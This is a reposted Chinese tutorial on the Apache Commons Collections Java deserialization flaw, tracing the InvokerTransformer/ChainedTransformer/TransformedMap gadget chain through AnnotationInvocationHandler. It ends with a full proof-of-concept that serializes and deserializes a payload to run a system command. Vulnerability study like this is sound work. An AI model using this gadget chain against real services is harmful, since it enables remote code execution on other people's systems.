Apache Commons Collections反序列化研究


一、影響版本

1、3.0-4.0(除3.2.2和4.1)
官方BUG報告地址
collections下載地址

二、原理分析

幾個提示點

1)需要一些java基礎,反射、類對象、Classloader
2)利用搜索引擎自查一些java語法
3)能用IDEA進行斷點調試

1.利用InvokerTransformer執行系統命令

InvokerTransformer是Commons Collections(以下簡稱CC)的一個類,該類的一個transformer方法是命令執行的關鍵函數。有點類似於php中的call_user_func。該函數內部如圖。

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

函數體通過反射調用的方式執行傳入對象input的內部方法"iMethodName",這個"iMethodName"是創建這個方法對應的InvokerTransformer對象其傳入構造函數的參數。
而"iMethodName"所代表方法的參數類型和參數值也是創建對應的InvokerTransformer對象時傳入的參數。整個方法執行結果相當於下面的調用

iMethodName(iParamTypes1 iArgs1,iParamTypes2 iArgs2...)

那么我們如何利用該函數執行系統命令呢?這里先舉一個demo僅僅用transform函數去執行命令。

package com.company;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test1 {
    public static void main(String[] args) {
        String cmd = "cmd.exe /c start";
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );
        transformer.transform(Runtime.getRuntime()); //相當於傳入Runtime.getRuntime()返回的對象去執行exec方法,而exec方法則執行系統命令cmd
    }
}
2.利用ChainedTransformer類實現鏈式調用

好了,通過上述示例,我們應該明白使用該函數執行系統命令的方式了。那么接下來的問題是我們沒有辦法直接給transform傳入Runtime.getRuntime(),也沒有辦法直接傳入
exec方法。只能通過InvokerTransformer類給構造函數賦值,同時需要觸發該類的transform方法,並且還要能讓它們串起來執行(其中需要注意的getRuntime.exec的方式可以
看作是執行了函數但沒有給予參數值)。是不是十分困難呢。哈哈,偉大的前輩們還是在CC包中找到了對應的方法去滿足上述條件。我猜測它們或許是通過數據反溯源,或者源碼
通讀查找的方式找到的。它是什么呢?一個ChainedTransformer類。最主要的函數體如下:
首先是構造函數,傳入一個transformer數組

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

然后是ChainedTransformer類的transform方法,給一個初始的object,然后輸出作為下一個輸入,從而實現鏈式調用。

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

但是我們的起點是一個Runtime類,所以又使用了ConstantTransformer類。

public Object transform(Object input) {
    return iConstant;
}

所以我們最終可以構建這樣一個Transformer數組,里面按順序存放我們需要依次調用的Transformer對象,就可以完成最終的exec調用。值得一提的是,ChainedTransformer、
InvokerTransformer等都是實現了接口Transformer而來的,而且基本都有transform方法的實現。所以數組中可以存在不同類型的Transformer對象。最后的鏈式數組如下:

String cmd = "cmd.exe /c start";
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                                                new Class[]{String.class, Class[].class},
                                                new Object[]{ "getRuntime", new Class[0]}
        ),
        new InvokerTransformer("invoke",
                                                new Class[]{Object.class, Object[].class},
                                                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer("exec",
                                                new Class[]{String.class},
                                                new Object[]{cmd})
};

// 創建ChainedTransformer調用鏈
Transformer transformedChain = new ChainedTransformer(transformers);
3.TransformedMap類觸發調用鏈

1、好了,到這一步我們已經構建了一個Transformer惡意鏈,它是一個ChainedTransformer類,我們的目標是觸發該類的transform方法。那么該方法會直接觸發最底層命令執行。我們需要一個TransformedMap.decorate。注意這個Map是CC包中的Map,不是java.util中的Map。首先說說這個decorate的作用:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

它的邏輯是傳入一個map對象,,keyTransformer數組,valueTransformer數組,然后構造一個TransformedMap。已知公開CC鏈的調用起點一般就在這里,即我們要觸發TransformedMap的putAll/put/checkSetValue方法(其中任意一種)。因為這三種方法中存在對傳入keyTransformer或valueTransformer其transform方法的調用,調用點追溯至該TransformedMap的transformKey和transformValue方法,它們的內部核心代碼分別如下。

protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    return valueTransformer.transform(object);
}
protected Object transformKey(Object object) {
    if (keyTransformer == null) {
        return object;
    }
    return keyTransformer.transform(object);
}

2、那么我們如何觸發TransformedMap的這三種方法之一呢?
我們知道,當某個類重寫了反序列化的關鍵函數readObject時,那么外部任意接口反序列化就會調用該類的readObject方法。攻擊者可以查找那些已知框架或組件中存在反序列化調用的接口然后傳入我們上述的惡意鏈的payload(對應接口的二進制流)從而實現反序列化的控制。那么我們要通過外部觸發這條攻擊鏈,需要實現的目標有三
1)觸發put/putAll/checkSetValue(這個只能傳入參數至valueTransformer)任意方法其一
2)找到某個可序列化的類,重寫了readObject方法
3)readObject()中對Map類型的變量進行了鍵值修改操作,並且這個Map變量是可控的
實現流程見下一節

4.AnnotationInvocationHandler反序列化觸發TransformedMap類調用鏈發生

以下測試在jdk1.6中
針對上一節提出的三個目標,有研究員找到了這個滿足需求的類,它是AnnotationInvocationHandler,全名是sun.reflect.annotation.AnnotationInvocationHandler。我們觀察他重寫的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        return;
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

該類的成員變量memberValue為Map<String, Object> 類型,並且在重寫的readObject()方法中有memberValue.setValue()的操作,見倒數第5行。那么當執行到該函數時就會存在Map.setValue的調用,該setValue方法中存在checkSetValue調用,從而觸發調用鏈,執行結果。

5.調用鏈和POC

1、調用棧
我們在ChainedTransformer.java中的transform處下個斷點,打開IDEA執行,可以得到從反序列化開始到達此處的調用棧

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:204, TransformedMap (org.apache.commons.collections.map)
setValue:192, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:335, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
main:93, CommonsCollectionsTest (com.company)

2、POC
該POC來源於https://javasec.org/javase/JavaDeserialization/Collections.html

package com.company;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "cmd.exe /c start";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                                                        new Class[]{String.class, Class[].class},
                                                        new Object[]{ "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke",
                                                        new Class[]{Object.class, Object[].class},
                                                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                                                        new Class[]{String.class},
                                                        new Object[]{cmd})
        };

        // 創建ChainedTransformer調用鏈

        Transformer transformedChain = new ChainedTransformer(transformers);


        // 創建Map對象

        Map map = new HashMap();
        map.put("value", "value");


        // 使用TransformedMap創建一個含有惡意調用鏈的Transformer類的Map對象

        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        try {
            // 獲取AnnotationInvocationHandler類對象

            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 獲取AnnotationInvocationHandler類的構造方法

            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            // 設置構造方法的訪問權限

            constructor.setAccessible(true);
            // 創建含有惡意攻擊鏈(transformedMap)的AnnotationInvocationHandler類實例,等價於:

            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);

            Object instance = constructor.newInstance(Target.class, transformedMap);
            // 創建用於存儲payload的二進制輸出流對象

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            // 創建Java對象序列化輸出流對象

            ObjectOutputStream out = new ObjectOutputStream(baos);
            // 序列化AnnotationInvocationHandler類

            out.writeObject(instance);
            out.flush();
            out.close();

            // 獲取序列化的二進制數組
            byte[] bytes = baos.toByteArray();

            // 輸出序列化的二進制數組
            System.out.println("Payload攻擊字節數組:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler類生成的二進制數組創建二進制輸入流對象用於反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通過反序列化輸入流(bais),創建Java對象輸入流(ObjectInputStream)對象
            ObjectInputStream in = new ObjectInputStream(bais);
            // 模擬遠程的反序列化過程
            in.readObject();
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

三、漏洞利用

1.反序列化插入點思考與拓展

這里先暫時借用這篇文的第四部分,具體的分析和復現等以后有時間了做整理
https://security.tencent.com/index.php/blog/msg/97


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM